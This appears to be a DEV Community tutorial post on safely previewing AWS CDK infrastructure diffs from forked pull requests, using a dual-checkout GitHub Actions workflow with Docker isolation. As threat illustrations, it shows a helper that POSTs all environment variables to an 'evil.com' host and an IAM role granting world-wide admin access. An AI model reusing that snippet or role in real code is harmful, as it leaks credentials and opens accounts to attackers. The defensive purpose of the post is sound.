DEV Community

Dom Derrien
Dom Derrien

Posted on

The Trust Challenge: Safe Infrastructure Previews in Forked Workflows

Part 4 of "From Chaos to Control: Secure AWS Deployment Pipelines"

In our previous article, we built a solid foundation with branch protection and automated security scanning. But there's one challenge that keeps infrastructure teams awake at night: How do you safely preview infrastructure changes from contributors you don't fully trust?

This is the classic "trust dilemma" of modern DevOps. You need to see what infrastructure changes a PR will make before merging it, but you can't trust the code until it's been reviewed. In this article, we'll explore how to solve this challenge using dual-checkout patterns and Docker isolation.

The Infrastructure Security Dilemma

Picture this scenario: A contributor submits a PR with what looks like a simple IAM role change. The diff shows "Creating new service role" — seems innocent enough. But hidden in the CDK code is this:

new iam.Role({ assumedBy: new iam.AnyPrincipal(), // ← Opens your account to the world managedPolicies: [ iam.ManagedPolicy.fromAwsManagedPolicyName("AdministratorAccess") // ← Full admin access ] })
Enter fullscreen mode Exit fullscreen mode

Or consider this seemingly helpful logging function:

// Innocent-looking helper function function logDeploymentInfo() { const env = process.env; fetch('https://evil.com/steal', { method: 'POST', body: JSON.stringify(env) // ← Steals all environment variables }); // including AWS credentials }
Enter fullscreen mode Exit fullscreen mode

The dilemma: You need to preview the changes to understand their impact, but you cannot trust the code until it's been reviewed.

Understanding GitHub Actions Security Models

The pull_request Trigger: Safe but Limited

With the standard pull_request trigger, workflows run in the contributor's context:

pull_request Trigger Security Model ┌───────────────────────────────────────────────────────┐ │ Fork Repository Main Repository │ │ ┌─────────────────┐ ┌─────────────────┐ │ │ │ PR Code │ │ Workflow runs │ │ │ │ (potentially │ ─runs in─→ │ with fork's │ │ │ │ malicious) │ │ limited perms │ │ │ └─────────────────┘ └─────────────────┘ │ │ │ │ ✅ Safe: No access to secrets │ │ ❌ Limited: Cannot read deployed infrastructure state │ └───────────────────────────────────────────────────────┘
Enter fullscreen mode Exit fullscreen mode

Problem: The fork doesn't have access to AWS credentials, so it can't generate meaningful infrastructure diffs.

The pull_request_target Trigger: Powerful but Dangerous

With pull_request_target, workflows run in the main repository's context:

pull_request_target Trigger Security Model ┌─────────────────────────────────────────────────────┐ │ Fork Repository Main Repository │ │ ┌─────────────────┐ ┌──────────────────┐ │ │ │ PR Code │ │ Workflow runs │ │ │ │ (potentially │ ─runs in─→ │ with main repo │ │ │ │ malicious) │ │ full permissions │ │ │ └─────────────────┘ └──────────────────┘ │ │ │ │ ✅ Powerful: Access to AWS credentials and secrets │ │ ❌ Dangerous: Malicious code can steal credentials │ └─────────────────────────────────────────────────────┘
Enter fullscreen mode Exit fullscreen mode

The Risk: Malicious code in the PR can now access your AWS credentials, secrets, and deployed infrastructure.

The Dual-Checkout Security Pattern

The solution is to separate trusted tooling from untrusted code using a dual-checkout pattern:

Dual-Checkout Security Architecture ┌─────────────────────────────────────────────────────────────┐ │ GitHub Actions Runner │ │ │ │ Trusted Code (Main Branch) Untrusted Code (PR Branch) │ │ ┌─────────────────────────┐ ┌──────────────────────────┐ │ │ │ / │ │ /untrusted-pr-code/ │ │ │ │ ├── .github/workflows/ │ │ ├── iac/ │ │ │ │ ├── iac/ │ │ │ ├── modified.ts │ │ │ │ │ ├── package.json │ │ │ └── new-stack.ts │ │ │ │ │ └── node_modules/ │ │ ├── serverless/ │ │ │ │ │ └── aws-cdk/ │ │ └── webapp/ │ │ │ │ └── serverless/ │ └──────────────────────────┘ │ │ └─────────────────────────┘ │ │ │ │ ✅ Trusted CDK CLI ❌ Untrusted infrastructure │ │ ✅ Trusted dependencies ❌ Untrusted build scripts │ │ ✅ Access to AWS ❌ Isolated from credentials │ └─────────────────────────────────────────────────────────────┘
Enter fullscreen mode Exit fullscreen mode

How It Works

  1. Checkout trusted code (main branch) to the runner root
  2. Install trusted dependencies including CDK CLI
  3. Checkout untrusted code (PR branch) to a separate subdirectory
  4. Run untrusted code using trusted tools only

This ensures that even if the PR contains malicious code, it cannot:

  • Replace the CDK CLI with a malicious version
  • Access AWS credentials directly
  • Modify the workflow execution environment

Docker: The Additional Isolation Layer

Even with dual-checkout, untrusted code still runs on the same system. Docker provides an additional isolation layer:

Docker Security Isolation ┌───────────────────────────────────────────────────────────┐ │ GitHub Actions Runner (Host) │ │ ┌───────────────────────────────────────────────────────┐ │ │ │ Docker Container (Isolated) │ │ │ │ │ │ │ │ ┌─────────────────┐ │ │ │ │ │ Untrusted Code │ → Limited to: │ │ │ │ │ • npm install │ • Read/write own files │ │ │ │ │ • tsc compile │ • Network access for npm │ │ │ │ │ • npm build │ • No access to host filesystem │ │ │ │ └─────────────────┘ • No access to host network │ │ │ │ • No access to AWS credentials │ │ │ └───────────────────────────────────────────────────────┘ │ │ │ │ Host maintains: │ │ • AWS credentials │ │ • Trusted CDK CLI │ │ • Access to deployed infrastructure │ └───────────────────────────────────────────────────────────┘
Enter fullscreen mode Exit fullscreen mode

Docker Security Benefits:

  • Prevents untrusted code from accessing host filesystem
  • Blocks network access to internal services
  • Isolates process execution
  • Limits resource consumption

Safe Infrastructure Diffing Workflow

Here's how the secure workflow operates:

Secure Infrastructure Preview Workflow ┌─────────────────────────────────────────────────────────────┐ │ 1. PR Submitted with IaC Changes │ │ └─→ Triggers pull_request_target workflow │ │ │ │ 2. Checkout Trusted Code (develop branch) │ │ ├─→ Install trusted CDK CLI and dependencies │ │ └─→ Configure AWS credentials (trusted environment) │ │ │ │ 3. Checkout Untrusted Code (PR branch) │ │ └─→ Isolated to /untrusted-pr-code/ subdirectory │ │ │ │ 4. Build Untrusted Code (Docker isolation) │ │ ├─→ npm ci (install dependencies) │ │ ├─→ tsc compile (TypeScript compilation) │ │ └─→ npm run build (build artifacts) │ │ │ │ 5. Synthesize Infrastructure (Docker isolation) │ │ ├─→ Use trusted CDK CLI: ../node_modules/.bin/cdk │ │ ├─→ Run with network, block all other accesses │ │ ├─→ Set the running command `node dist/bin/iac.js` │ │ └─→ Save output in folder cdk.out │ │ │ │ 6. Generate Infrastructure Diff (develop branch) │ │ ├─→ Use trusted CDK CLI: ../node_modules/.bin/cdk │ │ ├─→ Run against produced assets in `cdk.out` │ │ └─→ Save output in file `cdk.out` │ │ │ │ 7. Post Results (Docker isolation) │ │ └─→ cdk-notifier posts diff as PR comment │ └─────────────────────────────────────────────────────────────┘
Enter fullscreen mode Exit fullscreen mode

Key Security Measures

1. Trusted CDK CLI Usage 

# ❌ Dangerous: Uses potentially malicious CDK from untrusted code npx cdk diff Develop # ✅ Safe: Uses trusted CDK CLI from parent directory ../../iac/node_modules/.bin/cdk diff Develop
Enter fullscreen mode Exit fullscreen mode

2. Isolated Output Directory 

# ❌ Dangerous: Might write to parent directory cdk diff Develop # ✅ Safe: Forces output to isolated directory cdk diff Develop --output cdk.out
Enter fullscreen mode Exit fullscreen mode

3. Docker Process Isolation 

# ❌ Dangerous: Runs directly on host cd untrusted-pr-code && npm ci # ✅ Safe: Runs in isolated container docker run --rm \ -v "$(pwd)/untrusted-pr-code:/workspace:rw" \ -w /workspace \ --user $(id -u):$(id -g) \ node:20-alpine \ npm ci
Enter fullscreen mode Exit fullscreen mode

4. Credential Isolation 

# The untrusted code never has direct access to: # - AWS_ACCESS_KEY_ID # - AWS_SECRET_ACCESS_KEY # - AWS_SESSION_TOKEN # - GITHUB_TOKEN (except limited scope for cdk-notifier)
Enter fullscreen mode Exit fullscreen mode

Implementation: The Complete Secure Workflow

Now let's implement a production-ready workflow that puts these security patterns into practice:

name: CDK Diff Report # SECURITY WARNING: This workflow uses pull_request_target # It runs untrusted code with access to repository secrets # Only use after understanding the security implications on: pull_request_target: # Run in main repo context for status checks branches: [develop] types: [opened, synchronize, reopened] paths: - "iac/**" - "!iac/test/**" - ".github/workflows/report-infrastructure-diff.yml" # Prevent concurrent runs to avoid resource conflicts concurrency: group: ${{ github.workflow }}-${{ github.ref }} cancel-in-progress: true env: AWS_REGION: eu-central-1 AWS_ACCOUNT: 274116565330 UNTRUSTED_CODE_FOLDER: untrusted-pr-code NODE_VERSION: "22" jobs: deploy: name: check diff to develop runs-on: ubuntu-latest # Timeout to prevent resource exhaustion attacks timeout-minutes: 15 permissions: id-token: write # AWS OIDC authentication contents: read # Read repository contents pull-requests: write # Post diff comments issues: write # Comment on PRs repository-projects: write # Update project boards env: BRANCH_NAME: ${{ github.head_ref || github.ref_name }} GITHUB_OWNER: ${{ github.repository_owner }} GITHUB_REPO: ${{ github.event.repository.name }} PULL_REQUEST_ID: ${{ github.event.pull_request.number }} steps: - name: Checkout Base Branch (Trusted Workflow Definition and Dependencies) uses: actions/checkout@v4 with: ref: ${{ github.event.pull_request.base.ref }} # Checkout the code of the develop branch - name: Setup Node.js uses: actions/setup-node@v4 with: node-version: ${{ env.NODE_VERSION }} cache: "npm" cache-dependency-path: package-lock.json # Project is NPM workspace compliant - name: Install all dependencies run: npm ci - name: Configure AWS credentials uses: aws-actions/configure-aws-credentials@v4 with: role-to-assume: arn:aws:iam::${{ env.AWS_ACCOUNT }}:role/github-ci-role role-session-name: github-ci-infrastructure-diff aws-region: ${{ env.AWS_REGION }} - name: Check caller identity run: aws sts get-caller-identity # Fails fast if credentials broken - name: Checkout PR Head (Untrusted Code) uses: actions/checkout@v4 with: ref: ${{ github.event.pull_request.head.sha }} path: ./${{ env.UNTRUSTED_CODE_FOLDER }} # Checkout into a distinct sub-directory persist-credentials: false # Crucial: ensure no credentials are inserted into the checked-out URL - name: Prepare dependencies in the untrusted branch (from PR) run: | echo "Loading untrusted code dependencies in isolated Docker containers..." docker run --rm \ --volume "./$UNTRUSTED_CODE_FOLDER:/workspace:rw" \ --workdir /workspace \ --user $(id -u):$(id -g) \ --env npm_config_cache=/tmp/.npm \ node:${{ env.NODE_VERSION }}-alpine \ npm ci docker run --rm \ --volume "./$UNTRUSTED_CODE_FOLDER:/workspace:rw" \ --workdir /workspace \ --user $(id -u):$(id -g) \ --env npm_config_cache=/tmp/.npm \ node:${{ env.NODE_VERSION }}-alpine \ npm run build-all # Check diff the PR code to develop while using the trusted CDK CLI (from the parent folder) # This ensures that the CDK CLI is trusted and not influenced by untrusted code. # This is crucial to prevent potential security risks from untrusted code. - name: Check diff to develop working-directory: ./${{ env.UNTRUSTED_CODE_FOLDER }} run: | echo "- Step 1: cdk diff in isolated environment (no credentials, no network)" # First, synthesize the template WITHOUT credentials in completely isolated Docker ### Local shell equivalent: npm run build; npx cdk synth --output /tmp/cdk.out docker run --rm \ --volume "./:/workspace:rw" \ --volume "$(pwd)/../node_modules:/trusted-modules:ro" \ --workdir /workspace \ --user $(id -u):$(id -g) \ --cap-drop=ALL \ --memory=2g \ --cpu-shares=1024 \ --env npm_config_cache=/tmp/.npm \ node:${{ env.NODE_VERSION }} \ sh -c "cd iac && timeout 120s /trusted-modules/.bin/cdk synth Develop \ --app 'node dist/bin/iac.js' \ --output cdk.out \ --no-version-reporting > synth.log 2>&1" || { echo "❌ CDK synthesis failed - this might indicate malicious code trying to access network/credentials" exit 1 } echo "- Step 2: cdk.out content" ls -la ./iac/cdk.out echo "AWS_ACCOUNT: $AWS_ACCOUNT" echo "AWS_REGION: $AWS_REGION" echo "- Step 3: cdk diff in trusted environment" # Then, compare the synthesized template with the deployed stack using trusted CLI with AWS credentials ### Local shell equivalent: AWS_REGION=eu-central-1 AWS_ACCOUNT=274116565330 npx cdk diff Develop --app /tmp/cdk.out --progress=events --profile ... ../node_modules/.bin/cdk diff Develop \ --app "./iac/cdk.out" \ --progress=events \ --no-version-reporting \ &> cdk.log echo "- Step 4: cdk.log file" ls -la ./cdk.log - name: "Security Scan of Diff Output" working-directory: ./${{ env.UNTRUSTED_CODE_FOLDER }} run: | echo "- Step 1: cdk.log file" ls -la ./cdk.log echo "- Step 2: Basic security patterns to flag for review" if grep -E "(AdministratorAccess|PowerUserAccess|FullAccess)" cdk.log; then echo "⚠️ WARNING: Over privileged managed policies detected" echo "security-warning=true" >> $GITHUB_ENV fi if grep -E 'Action: "\*"' cdk.log; then echo "⚠️ WARNING: Wildcard actions in IAM policies detected" echo "security-warning=true" >> $GITHUB_ENV fi echo "- Step 3: Context-aware security check" webhook_context=$(grep -B 10 -A 10 'Principal: "\*"' cdk.log || true) if echo "$webhook_context" | grep -q "lambda:InvokeFunctionUrl"; then echo "✅ Webhook pattern detected - legitimate use of Principal: '*'" else if grep -q 'Principal: "\*"' cdk.log; then echo "⚠️ WARNING: Unrestricted principal access detected" echo "security-warning=true" >> $GITHUB_ENV fi fi echo "- Step 4: Look for actual resource destruction patterns" deletion_matches=$(grep -n -B 3 -A 3 -E "(\[-\]\s*AWS::|\.destroy\(\)|DeletionPolicy.*Delete|Stack.*DESTROY)" cdk.log || true) if [ -n "$deletion_matches" ]; then echo "⚠️ WARNING: Resource deletion detected" echo "📍 Found at:" echo "$deletion_matches" echo "destruction-warning=true" >> $GITHUB_ENV fi echo "🔍 Security scan completed. Warnings: security=${security-warning:-false}, destruction=${destruction-warning:-false}" # cdk-notifier # cSpell:ignore karlderkaefer - name: Post CDK diff to PR run: | echo "Create cdk-notifier report" docker run --rm \ --volume "./$UNTRUSTED_CODE_FOLDER/cdk.log:/app/cdk.log:ro" \ --env GITHUB_TOKEN="${{ secrets.GITHUB_TOKEN }}" \ karlderkaefer/cdk-notifier:latest \ --owner $GITHUB_OWNER \ --repo $GITHUB_REPO \ --log-file /app/cdk.log \ --tag-id "diff-pr-$PULL_REQUEST_ID-to-develop" \ --pull-request-id $PULL_REQUEST_ID \ --vcs github \ --ci circleci \ --template extendedWithResources - name: "Fail the build if security or destruction warnings are present" if: env.security-warning == 'true' || env.destruction-warning == 'true' run: | echo "::warning title=Security Review Required::This PR contains potentially dangerous infrastructure changes that require careful review" exit 1
Enter fullscreen mode Exit fullscreen mode

Understanding the Remaining Risks

Even with these protections, some risks remain:

1. cdk-notifier GITHUB_TOKEN Access 

Limited Risk: cdk-notifier Tool Access ┌────────────────────────────────────────────────────────────┐ │ Risk: cdk-notifier has GITHUB_TOKEN access │ │ │ │ Mitigations: │ │ • Token has limited permissions (pull-requests: write) │ │ • Token is short-lived (expires with workflow) │ │ • Tool runs in separate Docker container │ │ • Tool is from trusted source (karlderkaefer/cdk-notifier) │ │ │ │ Potential Impact: │ │ • Could post malicious comments on PRs │ │ • Could access public repository information │ │ • Cannot access AWS resources or secrets │ └────────────────────────────────────────────────────────────┘
Enter fullscreen mode Exit fullscreen mode

2. CDK Synthesis-Time Code Execution 

// Risk: Malicious code in CDK constructs runs during synthesis export class MaliciousStack extends Stack { constructor(scope: Construct, id: string) { super(scope, id); // This code runs during 'cdk diff' and could be malicious maliciousFunction(); } }
Enter fullscreen mode Exit fullscreen mode

Mitigation: The Docker isolation prevents most damage, but code review remains essential.

3. Diff Output Manipulation

Malicious code could try to hide dangerous changes in the diff output, but this is limited by:

  • The trusted CDK CLI generates the actual diff
  • The isolated output directory prevents tampering
  • Code review catches suspicious patterns

Key Benefits of This Approach

  • Security: Multiple layers protect against credential theft and malicious code
  • Functionality: Provides meaningful infrastructure previews for review
  • Trust: Separates trusted tooling from untrusted code
  • Scalability: Works for both small projects and large monorepos
  • Maintainability: Uses standard tools and patterns

Best Practices for Implementation

  1. Always use dual-checkout pattern for pull_request_target workflows
  2. Implement Docker isolation for untrusted code execution
  3. Use trusted tooling (CDK CLI, dependencies) from main branch
  4. Implement security scanning of diff outputs
  5. Set up monitoring for unusual activity
  6. Maintain code review discipline as the final security layer

Looking Ahead

The dual-checkout pattern with Docker isolation provides a robust solution for safely previewing infrastructure changes from untrusted sources. While it doesn't eliminate all risks, it significantly reduces the attack surface and provides multiple layers of protection.

The key insight is that you can run untrusted code safely if you control the execution environment and the tools used to process it. By maintaining strict separation between trusted tooling and untrusted code, you can provide valuable infrastructure previews without compromising your deployment pipeline's security.

In our final article, we'll bring everything together with real-world lessons learned and practical tips for implementing these security patterns in your organization.

Remember: This security model is only as strong as your code review process. Automated security measures protect against accidental exposure, but human review remains essential for catching malicious intent.

Next in series: Lessons Learned: Building Secure Pipelines in Practice

Top comments (0)